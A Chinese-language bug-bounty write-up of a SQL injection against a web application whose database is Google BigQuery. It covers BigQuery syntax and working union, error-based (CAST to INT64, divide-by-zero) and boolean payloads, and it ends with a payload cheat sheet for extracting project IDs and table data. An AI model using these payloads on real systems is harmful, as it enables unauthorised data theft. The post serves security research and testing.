一个基于 BigQuery 的 SQL 注入挖掘案例

简介: 一个基于 BigQuery 的 SQL 注入挖掘案例

前言

在通常的SQL注入中,我们面对的数据库为MySQL、MongoDB等等。针对不同的数据库,渗透的手法也有所差别。本文分享一个Synack.com上的特殊类SQL注入案例——【DBMS为BigQuery】


正文

Google有一个名为BigQuery的服务,我们可以通过它的云系统将其用作应用程序的数据库管理系统。尽管在大多数SQL结构方面它类似于其他数据库,但它的语法会有一些不同。


在正式开始案例前,先了解一下这个数据库。


在这个数据库中,存在两种查询机制,区别与联系如下:

1、标准模式:标准模式为目前的默认模式,大多数程序使用该模式


2、传统模式:传统模式为以前使用的旧模式,少数程序使用该模式


3、在查询开头加上 #legacySQL 和 #standardSQL 作为前缀,即可切换模式。


4、查询语法不一致


在传统SQL中,查询语法如下:


SELECT column-name FROM [project-name:dataset-name.table-name]


在标准SQL中则不同,查询语法如下:


SELECT column-name FROM `project-name:dataset-name.table-name`


5、由于BigQuery系统采用云技术,所以存在一个结构如下:


项目名称 -> 数据集(数据库)-> 表 -> 列 -> 数据


案例

添加单引号,返回语法错误,故存在报错注入:



也许你的想法和我一致,即启动SQLmap。


尽管SQLmap可以进行报错注入及布尔注入,但它不能很好地识别该DBMS。


那么该系统是什么?

仔细观察上图可知,From `` AS 这个字符串即可证明该DBMS为BigQuery。


现在要怎么注入?

BigQuery语法中不存在基于时间的函数如SLEEP、WAITFOR DELAY等,同时现有的报错注入Payload在此不通用。


由于该数据库支持union命令,那么就以其为切入点,通过不断利用报错回显后,设计出该Payload:


true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


注入成功,回显如下:



那么下一步就是扩大攻击深度了:获取其它用户的项目名称,进而得到敏感数据。


可棘手的问题摆在眼前:


1、经测试,反引号字符(`)在应用程序后端被过滤或经过处理。


2、用户ID并非顺序排列,而是10位以上的数字,因此很难通过穷举攻击来获取用户ID。


3、INFORMATION_SCHEMA.SCHEMATA表无权访问


山穷水尽疑无路了?


通过不断尝试,我们最终发现了一个不需要`并且可以访问 INFORMATION_SCHEMA 表的数据:系统变量

设计出的Payload如下:


true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


虽然得到的数据并不敏感,但足以证明它是一个有效的数据泄露POC。


当考虑获取敏感数据时,仅靠Union注入的列是无法起作用的,因为我们想要得到的是字符串,而我们注入的列只是一个整数值。


然而,在BigQuery中,类型转换问题可以引发语法错误:


dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#


通过使用CAST(@@project_id AS INT64),我们将@@project_id从默认的字符串类型转换为INT64整数类型,产生如下报错:



可以看到,回显中包含项目ID,至此,我们就能够获取数据库中的敏感数据。


涉及的语法、语句总结

1、注释:


select 1#from here it is not working


2、注释:


select 1/*between those it is not working*/


3、获取当前用户:


select session_user()


4、获取项目ID:


select @@project_id


5、获取所有数据集名称:

select schema_name from INFORMATION_SCHEMA.SCHEMATA


6、从特定项目ID和数据集获取数据:


select * from `project_id.dataset_name.table_name`


7、限制函数:


select schema_name from INFORMATION_SCHEMA.SCHEMATA limit 1


8、基于错误的类型转换:


select CAST(@@project_id AS INT64)


9、基于错误的除零操作:


' OR if(1/(length((select('a')))-1)=1,true,false) OR '


10、基于Union的注入:


UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


11、基于布尔值的注入:


' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#


12、使用公共数据集的示例:


SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000


13、所有函数列表


1.https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators


14、脚本语句:


1.https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting


目录
打赏
0
0
0
0
33
分享
相关文章
数据库数据恢复——sql server数据库被加密的数据恢复案例
SQL server数据库数据故障: SQL server数据库被加密,无法使用。 数据库MDF、LDF、log日志文件名字被篡改。 数据库备份被加密,文件名字被篡改。
大数据新视界--大数据大厂之MySQL 数据库课程设计:MySQL 数据库 SQL 语句调优的进阶策略与实际案例(2-2)
本文延续前篇,深入探讨 MySQL 数据库 SQL 语句调优进阶策略。包括优化索引使用,介绍多种索引类型及避免索引失效等;调整数据库参数,如缓冲池、连接数和日志参数;还有分区表、垂直拆分等其他优化方法。通过实际案例分析展示调优效果。回顾与数据库课程设计相关文章,强调全面认识 MySQL 数据库重要性。为读者提供综合调优指导,确保数据库高效运行。
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
207 13
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
数据库数据恢复—SQL Server报错“错误 823”的数据恢复案例
SQL Server数据库附加数据库过程中比较常见的报错是“错误 823”,附加数据库失败。 如果数据库有备份则只需还原备份即可。但是如果没有备份,备份时间太久,或者其他原因导致备份不可用,那么就需要通过专业手段对数据库进行数据恢复。
gbase 8a 数据库 SQL优化案例-关联顺序优化
gbase 8a 数据库 SQL优化案例-关联顺序优化
|
8月前
|
SQL性能提升秘籍:5步优化法与10个实战案例
在数据库管理和应用开发中,SQL查询的性能优化至关重要。高效的SQL查询不仅可以提高应用的响应速度,还能降低服务器负载,提升用户体验。本文将分享SQL优化的五大步骤和十个实战案例,帮助构建高效、稳定的数据库应用。
566 3
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
235 2
|
8月前
|
SQL性能提升指南:五大优化策略与十个实战案例
在数据库性能优化的世界里,SQL优化是提升查询效率的关键。一个高效的SQL查询可以显著减少数据库的负载,提高应用响应速度,甚至影响整个系统的稳定性和扩展性。本文将介绍SQL优化的五大步骤,并结合十个实战案例,为你提供一份详尽的性能提升指南。
393 0
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
235 5
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
214 5
AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等

登录插画

登录以查看您的控制台资源

管理云资源
状态一览
快捷访问